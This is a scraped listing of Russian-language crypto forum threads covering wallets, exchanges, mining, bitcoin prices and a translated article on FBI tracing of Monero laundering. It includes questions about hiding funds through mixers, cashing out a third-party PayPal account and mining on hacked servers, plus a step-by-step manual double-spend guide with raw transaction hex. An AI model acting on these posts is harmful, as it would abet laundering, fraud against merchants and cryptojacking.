Thread ID: 43473
Created: 2020-10-23T17:11:39+0000
Last Post: 2021-03-07T08:23:12+0000
Author: tipokipocod
Replies: 15 Views: 3K

Если я получил биткоин на кошелек, оплатив биткоин с моей личной картой. И потом этот биткоин провел через миксер. Могут ли найти исходную транзакцию и понять кто я? (обратившись в то место где я покупал биткоин)

Как сделать конверт валюты в биткоин в интернет-магазине?
ID: 67686ad7b4103b69df379a35
Thread ID: 48575
Created: 2021-02-24T17:33:36+0000
Last Post: 2021-03-02T17:17:57+0000
Author: xxx666ttt
Replies: 22 Views: 3K

Добрый день, дорогие форумчане! :3

Как организовать приём платежей в интерент-магазине, чтобы "клиент" оплачивал евро \ долларами, а администратору интернет-магазина денежная сумма приходила сразу в биткоинах? Видели ли подобные реализации? Важно, чтобы клиент "не особо запаривался и вникал" в схему оплаты, для него это должно выглядеть макимально просто (т.е. процесс оплаты не отличается от бонального интернет- магазина). Весь процесс нужно автоматизировать.

Dogecoin - Pump & Down ^)
ID: 67686ad7b4103b69df379a3a
Thread ID: 47342
Created: 2021-01-28T20:11:40+0000
Last Post: 2021-02-15T13:54:47+0000
Author: Cavalliere
Replies: 22 Views: 3K

Все заметили что творится с догами?
+190%
Что будет с ними через час? Неделю?

Движки обменников
ID: 67686ad7b4103b69df379a40
Thread ID: 37370
Created: 2020-05-15T18:38:01+0000
Last Post: 2021-01-27T20:44:33+0000
Author: tabac
Replies: 8 Views: 3K

Сабж, посоветуйте движки обменников для обычных и криптовалют

✔️ Максимум 23k$ взят
ID: 67686ad7b4103b69df379a47
Thread ID: 45672
Created: 2020-12-17T23:27:31+0000
Last Post: 2021-01-07T01:02:39+0000
Author: tabac
Replies: 23 Views: 3K

Максимум обновили. И уже никто не удивляется, как в 2017м ))
Какие интересные заголовки пошли в новостях

Эксперты: биткоин достигнет $30 000 уже в ближайший месяц
В Guggenheim Partners спрогнозировали рост биткоина до $400 000
Профессор ВШЭ спрогнозировал долговременный бычий тренд для биткоина
Канадский экономист назвал биткоин пузырем на фоне нового ценового максимума
Цена биткоина пробила уровень $23 000
Трейдер рассказал о возможном росте цены биткоина к $26 000

Click to expand...

Это чувство легкого дежавю )

Лучший кошелек с встроенным миксером
ID: 67686ad7b4103b69df379a51
Thread ID: 44102
Created: 2020-11-09T14:58:43+0000
Last Post: 2020-12-14T16:20:29+0000
Author: top
Replies: 19 Views: 3K

Сейчас представлено много bitcoin кошельков с уже встроенными миксерами по технологии CoinJoin
чем пользуетесь? ваши отзывы? давайте обсудим, что лучше )

Децентрализованная биткойн биржа
ID: 67686ad7b4103b69df379ace
Thread ID: 26400
Created: 2018-10-29T14:14:56+0000
Last Post: 2019-01-05T12:04:46+0000
Author: lukas
Replies: 2 Views: 3K

Биткойну скоро 9 лет. Почему до сих пор нет нормальной P2P биржи? Считаю это вопиющим упущением, и хочу предложить решение данной проблемы.

Суть проблемы

Биткойн по своей природе - ресурс ограниченный, и поэтому является превосходным средством сохранения стоимости. Но, в тоже время, это очень волатильный актив, что делает инвестиции в него достаточно рискованным мероприятием. По мере увеличения капитала необходимо снижать риск крупных убытков, и распределять средства между различными вложениями. К сожалению, в крипто мире всё завязано на биткойн, и диверсификация инвестиционного портфеля возможна только за счет выхода на внешние рынки. Если вы накопили достаточно значительный капитал в биткойнах, то наверняка уже задумывались над этой проблемой.

Конечно, можно просто перевести часть биткоинов в фиат и держать его на криптовалютных биржах. Но это отнюдь не уменьшает риски, а скорее наоборот - клиентам Bitcoinica, MtGox, Bitfinex, BTC-e, и других обворованных площадок было намного выгоднее просто держать свои биткойны у себя.

Другой способ диверсификации портфеля - перевод в фиатную валюту с последующим обналичиванием. Но это крайне неудобно, и также сопряжено с определнными рисками, ограничениями и издержками, особенно в недружественных криптовалютам юрисдикциях. Для того, чтобы исключить риски и одновременно уменьшить издержки необходимо создавать децентрализованный рынок или биржу.

Краткий обзор существующих решений

На данный момент вижу только два более менее адекватных подхода - bisq(bitsquare) и Bitshares:

bisq - это по сути, не биржа, а скорее обменник + escrow сервис наподобие localbitcoins. Основной её недостаток это зависимость от банков или централизованных платёжных сервисов. И поскольку это escrow, то во время сделки пользователи также вынуждены доверять свои биткойны третьей стороне

Bitshares. - хитрая система, которая позволяет создавать смарткоины (например bitUSD), которые обеспечены внутренними токенами (BTS) в соответствии с ценами на внешних биржах, которые публикуются свидетелями, и, таким образом, пользователи могут ими владеть и торговать

Вроде бы, ещё что-то подобное планируется на платформе эфириум, но это неинтересно. Насколько я понимаю, большая часть эфира и битшар находятся в руках разработчиков, и значит эти системы уже уязвимы и довольно слабо децентрализованы. А самое главное, очень трудно понять и оценить надёжность механизмов их работы, что сильно повышает риски и, следовательно, снижает ликвидность

Можно выделить ключевые недостатки перечисленных решений:
- зависимость от централизованных платёжных сервисов (снижает анонимность и увеличивает риски)
- использование в качестве обеспечения залога премайн-альткойнов вроде BTS или ETH (снижает надёжность и увеличивает риски)
- необходимость конвертации BTC в полном объёме в альткойн для обеспечения залога (катастофически снижает ликвидность и увеличивает издержки)
- хитрая и трудная для понимания схема работы и обеспечения залога, а также сомнения в надёжности поставщиков прайсов (катастофически снижает ликвидность и увеличивает риски)

Будет ли востребована децентрализованная bitcoin биржа?

Свое примечание при обмене крипты
ID: 67686ad7b4103b69df379a59
Thread ID: 44284
Created: 2020-11-13T16:31:23+0000
Last Post: 2020-11-19T12:06:46+0000
Author: tabac
Replies: 12 Views: 3K

Привет всем!
мб кто-то встречал или сталкивался. нужно указать свое примечание к банковскому переводу при обмене крипты. с биткоинов на банковский счет
т.е чтобы я отправил битки, а мне на банк зашел платеж с необходимым мне примечанием
кто сталкивался? как организовать? мб какие-то системы типа скрила позволяют указать такое?

PayPal Обнал
ID: 67686ad7b4103b69df379a5c
Thread ID: 42138
Created: 2020-09-16T10:35:03+0000
Last Post: 2020-10-27T17:08:58+0000
Author: Max
Replies: 16 Views: 3K

Всем привет! Ребят посоветуйте какой-нибудь сервис/обменник который поможет обменять эл.деньги PayPal на BTC, USD или RUB
Дело вот в чём: аккаунт PayPal который я буду использовать для обмена зарегистрирован на третье лицо (то есть не на меня). Это проблема потому что многие сервисы/или продавцы валюты на этих сервисах часто требуют чтобы имя в аккаунте PayPal совпадало с именем учётной записи на этих сервисах (на английском часто ещё пишут это так: "id name should match with account name" или просто пишут "no third party"). Для меня это не подходит так как я сказал выше-аккаунт зарегистрирован на третье лицо.
C Paxful больше не работаю, так как был негативный опыт. C Localbitcoins тоже пока временно не работаю из-за определённых технических причин.

Есть ли ещё какие-то аналогичные сервисы которые позволяют обменять PayPal ?
или может есть какое-то решение как это сделать ?
частные услуги ребят которые занимаются обналом пока не рассматриваю, поэтому их пожалуйста не предлагать

Посоветуйте веб-кошелек Bitcoin
ID: 67686ad7b4103b69df379a68
Thread ID: 33320
Created: 2019-11-20T17:11:16+0000
Last Post: 2020-09-28T23:00:07+0000
Author: wildo
Replies: 15 Views: 3K

Здравсттвуйте. Посоветуйте веб-кошелек Bitcoin для пользования через TOR браузер. Без всяких капч и прочего шлака. Блокчейн не предлагать, не пашет через TOR.

Blueleaks: как ФБР отслеживает отмывание биткойнов в темной сети!
ID: 67686ad7b4103b69df379a69
Thread ID: 39542
Created: 2020-07-12T15:13:46+0000
Last Post: 2020-09-26T23:35:03+0000
Author: r1z
Replies: 18 Views: 3K

**Утечка информации разведки ФБР показывает, как темные веб-преступники используют панамский крипто-чейнджер для отмывания грязного Биткойна в монету конфиденциальности Monero.

Вкратце**

  1. В просочившемся документе ФБР подробно описаны три случая, когда панамский «мгновенный» криптообмен Morphtoken «вероятно» использовался для отмывания биткойнов незаконного происхождения путем их преобразования в Monero.
  2. ФБР использовало «проприетарный программный инструмент» для отслеживания участников рынка даркнета вместе с собственным API Морфтокена.
  3. Отчет был разоблачен как часть дампа данных «Blueleaks», в котором было обнаружено более 270 ГБ файлов правоохранительных органов.

Арепорт, подготовленный полевым офисом Федерального бюро расследований в Вашингтоне и разоблаченный в дампе данных Blueleaks объемом 270 ГБ, показывает, как ФБР отслеживало темных веб-преступников, отмывающих грязный биткойн, путем преобразования его в монету конфиденциальности Monero.

В просочившемся документе ФБР подробно описаны три случая, когда панамский «мгновенный» криптообмен MorphToken «вероятно» использовался плохими актерами для отмывания биткойнов незаконного происхождения путем преобразования его в Monero; Два из названных рынков даркнета (DNM) включают Apollon и Cryptonia.

По состоянию на январь 2020 года ФБР выявило участников рынка даркнета, связанных с рынком Аполлона, которые отправили в MorphToken не менее 11 биткойнов (тогда их стоимость составляла приблизительно 80 000 долларов США) для конвертации в Monero. ФБР использовало «проприетарный программный инструмент», который анализирует финансовые транзакции на блокчейне Биткойн, наряду с собственным интерфейсом прикладного программирования (API) MorphToken, для мониторинга транзакций.

ФБР также проанализировало комиссионные сборы с транзакций Биткойн, совершенных на Криптонии в период с мая по сентябрь 2019 года, обнаружив, что активы были отправлены по адресам, связанным с MorphToken. Каждая связанная транзакция, которая могла быть запрошена через API MorphToken, была преобразована в Monero.

В ноябре 2019 года ФБР также идентифицировало как минимум четырех темных интернет-продавцов, которые отправляли доходы от продаж биткойн-наркотиков в MorphToken.

«Хотя MorphToken предлагает конвертировать биткойны в пять разных криптовалют, почти во всех конверсиях, выявленных ФБР, проводимыми участниками DNM, где можно было определить выходную валюту, пользователь конвертировал биткойны в Monero», - говорится в отчете.

Правоохранительные органы предполагают, что участники рынка даркнета не собираются в Monero с целью диверсификации портфеля. Согласно политике Бюро, ФБР отказалось комментировать эту историю.
**
Что такое мгновенный криптообмен?**
Мгновенные криптовалюты, такие как Morphtoken, позволяют быстро конвертировать одну криптовалюту в одну или несколько других. ФБР подчеркивает отсутствие официальных протоколов «знай своего клиента» (KYC) - столп соответствия современному закону о банковской тайне - на Morphtoken и аналогичных биржах, что вызывает озабоченность. MorphToken отказался комментировать для Decrypt утечка отчета ФБР.

Morphtoken включен в Панаму, юрисдикцию которой не внедрили какие-либо правила для виртуальных валют или криптовалют, согласно панамской юридической фирме Kraemer and Kraemer.

Благодаря таким утечкам, как «Панамские документы», Панама стала синонимом банковской тайны и использования юридических средств защиты и корпоративных структур для защиты от анонимности лиц, уклоняющихся от налогов и отмывателей денег.

Монеро и темная паутина
ФБР также указало на публикации пользователей на сайтах и форумах рынка даркнет, на которых обсуждалось использование Morphtoken и других подобных сервисов в качестве порталов преобразования для Monero - самой устойчивой «криптовалюты, повышающей анонимность» в обращении. MorphToken - один из восьми «чейнджеров» Monero на темном форуме сообщества Dread.

![](/proxy.php?image=https%3A%2F%2Fwp.decrypt.co%2Fwp- content%2Fuploads%2F2020%2F07%2Fdread-forum- monero.jpeg&hash=43c7b504ab55d67fb362783d452af757)

Компания по контролю за соблюдением блокчейнов Chainalysis за 2020 год Crypto- Crime Report сообщила, что Monero «набирает популярность и может стать криптовалютой выбора для большего числа преступников в 2020 году».

Monero сочетает в себе три разные технологии конфиденциальности: кольцевые подписи, кольцевые конфиденциальные транзакции (RingCT) и одноразовые адреса кошелька-невидимки. В результате этого незаконные пользователи Monero не могут быть идентифицированы.

Конструкция Monero имеет сходство с «кукушкой», схемой отмывания, в которой финансовые посредники скрывают потенциально преступных субъектов, перестраивая своих отправителей и получателей в аналогичных сделках.

Можно ли отслеживать Монеро?
Принимая во внимание скрытность Monero и его автономно восстанавливающиеся и зашифрованные платежные цепочки, Том Робинсон, главный ученый британской фирмы, занимающейся криптовалютой Elliptic, не считает возможным проникнуть сквозь завесу секретности криптовалюты.

«Я не ожидаю увидеть инструменты соответствия на основе мониторинга цепочки блоков для Monero в ближайшее время, если вообще когда-либо».

«Я не ожидаю, что инструменты соответствия на основе мониторинга цепочки блоков появятся для Monero в ближайшее время, если вообще когда-либо», - сказал Робинсон в Decrypt.

В отчете ФБР говорится, что по мере того, как будет опубликовано больше примеров того, как правоохранительные органы успешно отслеживают криптовалюты, преступники «скорее всего» расширят применение криптовалют, повышающих анонимность, таких как Monero.

Что такое Блюликс?
Утечка брифинга ФБР - это лишь один из сотен тысяч файлов из Blueleaks, тайник полицейских документов, незаконно вывезенных хактивистской группой Anonymous. Файлы Blueleaks были опубликованы Distributed Denial of Secrets, самопровозглашенным «коллективом прозрачности», и охватывают «данные за 24 года из более чем 200 полицейских управлений, центров по слиянию и учебных / вспомогательных ресурсов, взломанных Anonymous», согласно веб-сайту DDoS. ,

Документы были взяты у Netsential, компании по веб-дизайну, расположенной в Техасе, где размещаются правоохранительные сайты. Информационный сайт о кибербезопасности Krebsonsecurity подтвердил достоверность утечек данных посредством внутреннего анализа, проведенного 20 июня Национальной ассоциацией центров слияния (NFCA), состоящей из представителей государственных и местных центров слияния городских районов.

Я использую Google Translate для перевода этой темы с английского на русский; Оригинальную ссылку [нажмите здесь.](https://decrypt.co/34740/blueleaks-how- the-fbi-tracks-bitcoin-laundering-on-the-dark- web?fbclid=IwAR3bMqU_UaLeaXuYuZrQGolCqHXA-NOcjCM0g5atBWzqA5yMgrq27y2Fy68)

Как лучше хранить свои сбережения blockchain vs electrum
ID: 67686ad7b4103b69df379a6e
Thread ID: 40694
Created: 2020-08-09T10:57:48+0000
Last Post: 2020-08-25T21:04:55+0000
Author: fortunate
Replies: 17 Views: 3K

Здравствуйте.
Уважаемые, я нуждаюсь в совете, а именно - как уже стало ясно с названия темы, как всё таки лучше хранить биткоин?
Сейчас у меня деньги на блокчейн.ком, но я так понял с отзывов - это не самый надежный вариант. Кстати, они могут блокировать кошельки как раньше вебмани например?
Суть - посоветуйте, пожалуйста, какой кошелек выбрать или где лучше хранить биткоин ?
Цель - долгосрочное хранение в надежном месте, чтобы ничего с ними не случилось как например когда-то liberty reserve накрылось и всё пропало...
Заранее благодарен!

GRIN COIN
ID: 67686ad7b4103b69df379a76
Thread ID: 27507
Created: 2019-01-28T09:38:27+0000
Last Post: 2020-06-24T08:41:31+0000
Author: Lescer
Replies: 7 Views: 3K

Сейчас довольно большой ажиотаж вызывает новая криптуха GRIN COIN с системой MimbleWimble и неограниченной эмиссией. Многие кричат, что это замена битку, новое цифровое золото, мол такого ещё не создавали и тд и тп.
https://grin-tech.org/
Их сайт
Кто что знает на этот счёт?)
Прошу не стесняться и высказывать своё мнение в комментах )

основатели ICO продали почти все свои запасы ETH
ID: 67686ad7b4103b69df379ac5
Thread ID: 26158
Created: 2018-10-03T10:52:46+0000
Last Post: 2019-03-01T21:28:30+0000
Author: tabac
Replies: 5 Views: 3K

Основатели ICO продали почти все свои запасы ETH

Многие эксперты утверждают, что стремительное снижение цены ETH в течение II и III кварталов этого года связано с массовой продажей актива организаторами ICO, которые опасаются убытков и вынуждены нести повседневные расходы. Некоторые также предполагают, что не все проекты продали свои активы и есть вероятность еще одной волны падения. Криптовалютная биржа BitMEX провела исследование этого вопроса и заявила, что их опасения беспочвенны.

BitMEX Research и TokenAnalyst проанализировали 222 проекта, которые в сумме собрали $5.5 миллиарда в Ethereum и установили, что на текущий момент они продали ETH примерно на такую же сумму (всего на $11 млн меньше). Таким образом получается, что они в долларовом выражении уже избавились от риска убытков, но при этом в запасе еще осталось 3.8 млн ETH, что составляет примерно 25% от изначально собранного объема.

Многие могут удивиться тому, что проекты ICO имеют не текущий убыток, а нереализованный доход, но стоит учитывать время сбора средств. Большинство проектов провели кампании продажи токенов еще до начала резкого роста курса ETH. Тем не менее данная информация не гарантирует, что некоторые отдельно взятые ICO не потерпели серьезных убытков.

Совокупная сумма нереализованных убытков проектов, которые продолжили держать ETH после проведения ICO, составляет $311 млн, но при этом нереализованный доход выше и составляет $403 млн.

На графике выше можно заметить, что за последние 26 месяцев на кошельках ICO- проектов было максимум 5.1 млн ETH, эта цифра намного меньше, чем собранные средства за все время (15,2 млн или 8 млн, если исключить EOS). Таким образом можно сделать заключение, что ранее собранные ETH с помощью ICO были проданы и повторно инвестированы в новые проекты. Также график показывает, что большая часть средств ICO-проекты собрали перед достижением ETH пиковых значений ($1400).

Исходя из своих исследований BitMEX Research заключает, что остаток средств на балансах ICO имеет слабое влияние, а о новой панической распродаже речь больше не идет. Исследователи также предположили возможные погрешности в расчетах относительно отдельно взятых проектов, но отмечают, что общая картина при этом никак не меняется.

«Другой вопрос заключается в том, грамотно ли проекты инвестировали и будут инвестировать собранные средства, будут ли они разрабатывать полезные продукты и услуги. Мы предполагаем, что уровень подотчётности в некоторых из этих ICO низок. Иногда сложно проанализировать сколько денег удалось собрать, какие валюты собирались, какие адреса Ethereum использовались, тратили/продавали активы или нет. Но на первый взгляд кажется, что плоды инвестирования разочаровывают», - пишут исследователи.

Двойная трата (Double-spending) в Bitcoin - пошаговая инструкция
ID: 67686ad7b4103b69df379acf
Thread ID: 27054
Created: 2018-12-27T16:31:19+0000
Last Post: 2018-12-27T16:32:54+0000
Author: tabac
Replies: 1 Views: 3K

Двойная трата (Double-spending) в Bitcoin - пошаговая инструкция. Как провести дабл спенд?

Нужно вручную собрать транзакцию и отправить ее в сеть, это можно сделать онлайн имея только приватный ключ. Далее описывается именно такой способ.

Различные сервисы предоставляют онлайн кошельки, но многие из них хранят приватный ключ у себя - это далеко не лучший вариант, в один прекрасный момент можно остаться с нулевым балансом, поэтому к выбору онлайн-кошелька стоит отнестись с особой тщательностью.

В данном примере будет использоваться сервис https://txid.io/wallet/ , основанный на Open-Source решении Coinb.in, который не хранит Ваш приватный ключ и даже не передает его по сети, а все действия с ним выполняются в браузере, приватный ключ никогда не передается за пределы вашего компьютера.

1) Нужно знать свой приватный ключ, без него ничего нельзя сделать. В случае, если вы используете онлайн кошелек типа blockchain.info - там этот ключ можно экспортировать. В случае использования core клиента - есть команда dumpprivkey. Этот пример показан для простого случая, когда используется один вход и один выход. Сравнительно новая фича Replace-by-Fee (RBF) в данном конкретном примере не используется.

1а) В случае использования популярного Онлайн-кошелька https://blockchain.info отдельная инструкция по получению приватного ключа для нужного адреса есть в этом сообщении (предпочтительный вариант) или вот в этом сообщении.

2) Для наглядного примера используем следующую транзакцию
https://www.blocktrail.com/BTC/tx/c3c63dbcf7777b4a10473dd59318ad1433abe454276b7a5369e3870a8174a380

С адреса 1AuN48871owVr3SRbidwxMRACsi2QoqekD на адрес 12m5oXmDzY4Ad7rKuF88sFf29bEDiyEEPL было отправлено 0.01019000 BTC (191 байт) с очень низкой комиссией 0.00001000 BTC. Такая транзакция практически никогда не будет подтверждена, вероятность очень низкая.

Задача сделать двойную трату - Double Spending, обычный клиент этого сделать не позволит, но если мы будем собирать транзакцию вручную, то это не проблема. Приступим.

3) Нам нужны данные о входах, для этого нам необходима указанная транзакция в шестнадцатеричном raw-формате.
Взять ее можно, например, на blockchain.info , добавив в адресную строку браузера ?format=hex

https://blockchain.info/tx/c3c63dbcf7777b4a10473dd59318ad1433abe454276b7a5369e3870a8174a380?format=hex

Code:Copy to clipboard

01000000012abae037dd7687ca4b91455f1b48f21c24d193e830bb170d6a3c66ca48509e6f020000006a47304402205ffb001b226e86485b808e972f4b114db4916009752b711cdab29e082ae608c70220712ef618bd4dfd2c7bd8c581ba55ed794e09b866c68f0330d56f659cf7cfc41b012102809dc03bef8fa77bb15407e065c50fb5855372ed374eb05db4266c9011474645ffffffff01788c0f00000000001976a914134e6fd3425fd01c8de1dd75570e942ce39eccfd88ac00000000

Открываем https://txid.io/wallet/ и в меню выбираем Verify , вставляем текст транзакции и нажимаем Submit

Нас интересует только вход, а именно Txid (6f9e5048ca663c6a0d17bb30e893d1241cf2481b5f45914bca8776dd37e0ba2a), номер выхода N (2).

4) Также нам понадобится подписанный скрипт предыдущего выхода, его мы получаем таким же образом. Для этого получаем предыдущую hex транзакцию, которая была входом для адреса, с которого мы отправляли монеты.
https://blockchain.info/tx/6f9e5048ca663c6a0d17bb30e893d1241cf2481b5f45914bca8776dd37e0ba2a?format=hex

Code:Copy to clipboard

0100000001030f1a5d236253755393f3fa79405b77bebb9678653cb0371210fec33ded146f070000008b483045022100f7841029295f33782e6a7e0c3715a59a7db601148f5c56640c7675541be15eec02200adabfda318f417a2c51fb0a2bc152ad9ad67f065ed73a77cf7b0852d3959ab30141047146f0e0fcb3139947cf0beb870fe251930ca10d4545793d31033e801b5219abf56c11a3cf3406ca590e4c14b0dab749d20862b3adc4709153c280c2a78be10cffffffff15a4cc0100000000001976a9146324e56e4df5f8b8ae15e39c7c674deb67f550a888acf3eb0700000000001976a9144b993d0e6587c927c02e39ad3182ccc10a67a61b88ac60900f00000000001976a9146ca05640f6e89a50a27fe09f453bc3db9bcd064488acf18d1200000000001976a9144ebea438ff16b3286e7998a4299d29fde64fb3de88acdf9b1500000000001976a91456a86a5cffa4ae3d07b211b0c5f40f08b8cab7a188ac57d219000000000017a914ab40626275feee23341fbd1fff593bcfaad7a2f48722b024000000000017a914df829efb120fdd8910947ffd4505bb3f7904d4d687213c3000000000001976a914162d1d879ace28171e411e17ee299969bed2ce1488ac104e3800000000001976a914a49ba60dbb898a6508d252631d756cf154fb9fee88acec1d3b00000000001976a91410271bd45e3e3289ae5041a4edabacba1749da9888ac007c92000000000017a9146a8743c6fb7679a7d5f65dc7f020c478291d2c0a875365dc00000000001976a914b8fed54a741a3b25243781372798ac03e1486e5f88ac603c1701000000001976a914afe7c0ebed0013b35ac6a53a108bfd5e0fdb326f88acec609d01000000001976a914e5fe2f7ae1ce179294b452be8dac9140dd766ff888ac619678070000000017a914871ca8a083161999a7fcea6077fca65d0d9d8da687f01358080000000017a914f95b152273931b61ba1078fc3288fb6844e41c04874744440d000000001976a914ff4c10afb6d0ffd58f2a8490ebd1068a4a24d53588acf07be111000000001976a91433602f31035f03f0c541bbd5b797501492402da188ac70f0b32c000000001976a9147bda6b0d53273b256731e97e1c2ef2c206cfe85688acf0d10295000000001976a914ec212c35086ed5242b268db7d95391402b1a58d388acc04e8a170b0000001976a91443849383122ebb8a28268a89700c9f723663b5b888ac00000000

Открываем https://txid.io/wallet/ и в меню выбираем Verify , вставляем текст транзакции и нажимаем Submit

Находим наш адрес 1AuN48871owVr3SRbidwxMRACsi2QoqekD и сохраняем значение Script (76a9146ca05640f6e89a50a27fe09f453bc3db9bcd064488ac)

Все те же самые данные можно получить и из других блокчейн-эксплореров, не обязательно использовать blockchain.info.

Например,

https://bitaps.com/api/raw/transact...7bb30e893d1241cf2481b5f45914bca8776dd37e0ba2a

{"hex": " __raw transaction text __ "", "hash": "..."}

Также, например, по ссылке https://live.blockcypher.com/btc/decodetx/ можно всю информацию получить в одном месте, порядковый номер выхода посчитать, начиная с нуля.

5) Открываем https://txid.io/wallet/ и в выпадющем меню выбираем New -> Transaction

6) Нам нужно указать данные как о входах, так и о выходах.
Сначала в закладке Inputs (входы) указываем данные, которые мы получили в пунктах 3 и 4.

7) Далее указываем Outputs (выходы), можно указать тот же самый адрес получателя, а можно указать другой. В поле Amount указываем сумму к отправке за вычетом комиссии за перевод, комиссия автоматически посчитается и отобразится ниже в поле Transaction Fee. В данном конкретном примере 0.0002 будет вполне достаточно.

Нажимаем Submit , видим новую сгенерированную транзакцию, а также ее размер. Этот размер неподписанной транзакции.
Копируем hex-текст транзакции в буфер обмена.

Code:Copy to clipboard

01000000012abae037dd7687ca4b91455f1b48f21c24d193e830bb170d6a3c66ca48509e6f020000001976a9146ca05640f6e89a50a27fe09f453bc3db9bcd064488acffffffff0140420f00000000001976a914134e6fd3425fd01c8de1dd75570e942ce39eccfd88ac00000000

8) Подписываем. Идем в меню Sign , указываем приватный ключ (он никуда не передается , вся работа с ключом происходит в браузере), нажимаем Submit и получаем уже подписанную транзакцию.

Code:Copy to clipboard

01000000012abae037dd7687ca4b91455f1b48f21c24d193e830bb170d6a3c66ca48509e6f020000006a47304402202492709f4d4a420b237615cb00b85e6a7fa6b5f08b397aeefb806a16c382684f0220348d7ff0d92ff8c628c01a79888da6cba4691da37808f07e82ceeffa71f4711f012102809dc03bef8fa77bb15407e065c50fb5855372ed374eb05db4266c9011474645ffffffff0140420f00000000001976a914134e6fd3425fd01c8de1dd75570e942ce39eccfd88ac00000000

Смотрим ее размер, убеждаемся, что указанной ранее комиссии достаточно для 191 байт.

9) У нас есть новая и уже подписанная транзакция для двойной траты. Чтобы убедиться, что все сделали правильно,
еще раз открываем в новом окне страницу Verify https://txid.io/wallet/#verify , вставляем текст транзакции из п.8 и нажимаем Sumbit.
Проверяем выход - адрес и сумму.

10) Осталось только отправить транзакцию в сеть.
В меню выбираем Broadcast https://txid.io/wallet/#broadcast , вставляем текст подписанной транзакции и отправляем в сеть.

В результате получаем номер новой транзакции с двойной тратой - Txid: 1cd32dd0cadbd8b01027729314af182136053850f51c665cea00ac8b6232cc47

11) В случае какой-либо ошибки, если транзакцию отправить не удалось через пункт Broadcast - пытаемся отправить ее в сеть через
любые другие Push-сервисы, наиболее популярные можно найти на данной странице https://en.bitcoin.it/wiki/Transaction_broadcasting

12) Так как это double-spending транзакция, то не все ноды и, соответвенно, Блокчейн-Эксплореры смогут сразу отобразить ее корректно до подтверждения сетью, поэтому рекомендуется проверять новую транзакцию в разных местах.

После того, когда новая транзакция будет подтверждена и включена в блок - все встанет на свои места и она будет доступна в любом блок-эксплорере.

Двойная трата заключается не только в том, чтобы собрать новую транзакцию, а в том, чтобы еще и разослать ее по сети, и не просто по сети, а чтобы она добралась до майнеров, до пулов, и не просто добралась до них, а чтобы пулы захотели включить ее в блок.

Чтобы пул захотел включить вашу транзакцию в блок и предпочел ее всем остальным, нужно чтобы комиссия вашей транзакции была как минимум столько же, сколько текущие актуальные комиссии в сети, а лучше чтобы комисссия транзакции двойной траты превышала актуальную комиссию на 10-20-30%

Так как для того, чтобы транзакция двойной траты разошлась по сети, нужно ощутимо больше времени, чем просто для обычной транзакции, о которой все ноды знают уже через 5-10-15 секунд, то за это время, пока транзакция разойдется, количество транзакций в мемпуле может существенно вырасти и как следствие вырастет величина комиссии.

И когда ваша новая транзакция с обычной или даже низкой (на момент отправки) комиссией доберется до того или иного пула - она будет ему уже неинтересна, потому что у него в очереди есть много более интересных транзакций, которые он возьмет вперед. А схема с двойной тратой и последующим ускорением Антпулом или ВиаБТЦ тоже не дает никаких гарантий, так как именно до этих пулов транзакция может и не добраться, например. Тем самым вы, конечно, сэкономите несколько тысяч сатошей, но потеряете время. И иногда потеря времени обходится сильно дороже.

TON aka Telegram Open Network - есть будущее?
ID: 67686ad7b4103b69df379ac4
Thread ID: 27784
Created: 2019-02-10T19:30:59+0000
Last Post: 2019-03-03T16:05:27+0000
Author: pablo
Replies: 7 Views: 3K

На фотографии: к.ф.-м.н. Николай Дуров, автор протокола шифрования MTProto, ряда ключевых подсистем «ВКонтакте» и блокчейн-платформы TON

Telegram в течение месяца покажет инвесторам блокчейн-платформу TON (Telegram Open Network) для криптовалюты Gram. Несколько источников издания The Bell и газеты «Ведомости» подтвердили, что встреча состоится в Дубае, хотя точная дата ещё не назначена. Запуск основной сети запланирован на март.

О плане разработать блокчейн-платформу с собственной криптовалютой Павел Дуров объявил в январе 2018 года. TON должен решить ключевую проблему современных криптовалют — низкую производительность, что мешает полноценно заменить глобальные платёжные системы. Если Visa и Mastercard обрабатывают около 50-60 тыс. операций в секунду, то Bitcoin и Etherium — всего 7 и 15 операций в секунду, соответственно.

Сотни миллионов пользователей Telegram помогут системе быстро развернуться на большую аудиторию. В качестве некоей модели можно рассматривать китайский мессенджер WeChat, который стал уже стандартом для проведения финансовых платежей в Китае.

Click to expand...

как думаете,у валюты есть будущее? будете вкладываться?

Крипто-бот
ID: 67686ad7b4103b69df379a79
Thread ID: 37471
Created: 2020-05-18T14:42:00+0000
Last Post: 2020-06-07T19:16:11+0000
Author: Jeffs
Replies: 13 Views: 3K

В общем-то наблюдая за постоянными скачками курса битка пришла в голову идея написать бота.
Алгоритм простейший:
- Биток упал на 300$ - закупаем, ждём когда поднимется на 600$
- Биток поднялся на 600$ - меняем в другую валюту
- Ждём, когда биток упадёт на 300$
...Цикл повторяется

Какие подводные камни вы видите?
Я пока что вижу только один: возможно, на комиссиях мы проебем больше, чем заработаем (всего-то).
В принципе можно поискать какую-нибудь биржу с минимальными комиссиями на обмен, но даже если получится найти - профит со всего этого мракобесия будет такой себе. С тем же успехом можно по рекламе за сатоши потыкать.

Какую криптовалюту на сегодняшний день выгодно майнить?!
ID: 67686ad7b4103b69df379a8a
Thread ID: 33655
Created: 2019-12-05T16:40:47+0000
Last Post: 2020-02-14T23:29:21+0000
Author: timbo
Replies: 10 Views: 3K

Вообщем вопрос заголовке!Что на сегодняшний день лучше майнить,майнил монеро,так после форка сложность пизд..ц выросла,вот думаю куда можно мощности перекинуть!

майнинг
ID: 67686ad7b4103b69df379a8c
Thread ID: 34184
Created: 2020-01-04T11:57:14+0000
Last Post: 2020-01-21T22:00:08+0000
Author: lik
Replies: 8 Views: 3K

ваще нуль в майне, так получилось.
не пинайте старпера)))

к примеру

есть 5 dedicated серваков, линь,
поломаных с рутом. обычные, не навароченные. 2-6 ядра
скорости тож стандарт 100мбсек

какую софтину посоветуете?
"из коробки" попроще, чтоб воткнуть и заработала)) и уже по ходу разбираться...

Хранение криптовалюты
ID: 67686ad7b4103b69df379a90
Thread ID: 33557
Created: 2019-11-29T17:07:09+0000
Last Post: 2019-11-29T17:07:09+0000
Author: Fireburn
Replies: 0 Views: 3K

[Источник статьи](https://********.net/index.php?threads/xranenie- kriptovaljuty.155929/)

Введение

Мир без посредников. Мир без необходимости доверять третьей стороне. Мир где каждый сам себе автономный банк. С идеей о таком мире создавалась первая криптовалюта и затем многие другие блокчейн-проекты. В таком мире “твой пароль = твои деньги” если говорить упрощенно. Если точнее: “твой приватный ключ = твои деньги/активы/права/документы/личность”.

